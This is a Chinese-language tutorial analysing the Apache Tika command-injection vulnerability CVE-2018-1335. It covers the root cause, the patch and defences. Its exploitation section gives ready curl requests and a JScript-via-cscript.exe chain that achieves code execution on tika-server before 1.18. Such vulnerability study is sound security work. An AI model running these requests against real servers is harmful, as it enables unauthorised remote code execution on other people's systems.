探究利用CVE-2018-1335:Apache Tika 命令注入
字数 1839 2025-08-29 08:32:09
Apache Tika 命令注入漏洞(CVE-2018-1335)深度分析与利用教学
一、漏洞概述
CVE-2018-1335是Apache Tika服务器组件中的一个命令注入漏洞,影响1.18之前的所有版本。该漏洞允许攻击者通过精心构造的HTTP请求头,在运行tika-server的服务器上执行任意命令。
漏洞关键信息:
- 影响版本:Apache Tika 1.18之前的所有版本
- 修复版本:Apache Tika 1.18及更高版本
- 漏洞类型:命令注入
- 攻击向量:HTTP请求头
- 受影响组件:tika-server独立服务
二、漏洞背景
Apache Tika简介
Apache Tika是一个内容分析工具包,能够检测和提取上千种不同文件类型(如PPT、XLS、PDF等)中的元数据和文本。主要组件包括:
- Java库
- 命令行工具
- 独立服务器(tika-server) - 带有REST API接口
漏洞发现
通过对比1.17(漏洞版本)和1.18(修复版本)的源代码差异,发现关键修改在于添加了allowable_header_chars代码块,用于过滤HTTP头中的特殊字符。
三、漏洞原理分析
漏洞入口点
漏洞存在于processHeaderConfig函数中,该函数处理HTTP请求头并动态设置对象属性。关键前缀为X-Tika-OCR的请求头会被用于配置TesseractOCRConfig对象。
命令注入路径
- 攻击者通过
X-Tika-OCRTesseractPath头注入命令 - 命令被传递到
TesseractOCRParser.java中的doOCR函数 doOCR函数使用ProcessBuilder构建并执行命令
技术限制与绕过
原始漏洞存在以下限制:
- 只能控制命令的第一部分(应用路径)
- 无法传递多个参数或使用命令连接符(&, |, >等)
- Windows下引号后的内容会被忽略
绕过方法:
使用Windows Script Host(cscript.exe)作为执行载体,通过//E:engine参数指定脚本引擎,上传包含恶意代码的"图像"文件。
四、漏洞利用步骤
基本利用(PoC)
curl -T test.tiff http://localhost:9998/meta --header "X-Tika-OCRTesseractPath: \"calc.exe\""
完整利用链
- 准备一个包含恶意JScript/VBScript代码的文件(内容示例):
var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c calc.exe');
- 构造HTTP请求:
curl -T malicious.jp2 http://victim:9998/meta \
--header "X-Tika-OCRTesseractPath: \"cscript.exe\"" \
--header "X-Tika-OCRLanguage: //E:Jscript" \
--header "Content-Type: image/jp2"
关键点:
- 使用
image/jp2内容类型绕过文件验证 X-Tika-OCRTesseractPath指定cscript.exe作为执行程序X-Tika-OCRLanguage参数设置为//E:Jscript指定脚本引擎
五、漏洞修复方案
- 升级到Apache Tika 1.18或更高版本
- 官方修复措施:
- 添加了
allowable_header_chars过滤特殊字符 - 移除了不安全的
processHeaderConfig函数 - 加强了对HTTP头内容的验证
- 添加了
六、防御建议
- 不在不受信环境中运行tika-server
- 如必须公开服务,应部署在网络隔离区域
- 实施严格的输入验证和过滤
- 使用最小权限原则运行服务
- 定期更新到最新版本
七、学习资源
-
官方文档:
- Apache Tika官网:https://tika.apache.org/
- Tika REST API:https://wiki.apache.org/tika/TikaJAXRS
-
漏洞相关资源:
- 受影响版本下载:https://archive.apache.org/dist/tika/tika-server-1.17.jar
- Rhino安全实验室PoC:https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335
-
相关技术:
- Windows LOLBins:https://github.com/api0cradle/LOLBAS
- Process Monitor工具:https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
八、总结
CVE-2018-1335展示了即使看似简单的命令注入漏洞,在实际利用中也可能面临各种技术限制。通过深入分析系统行为和Windows特性,最终找到了使用cscript.exe的绕过方法。这提醒开发者在构造系统命令时必须严格验证所有用户输入,即使是非直接输入参数。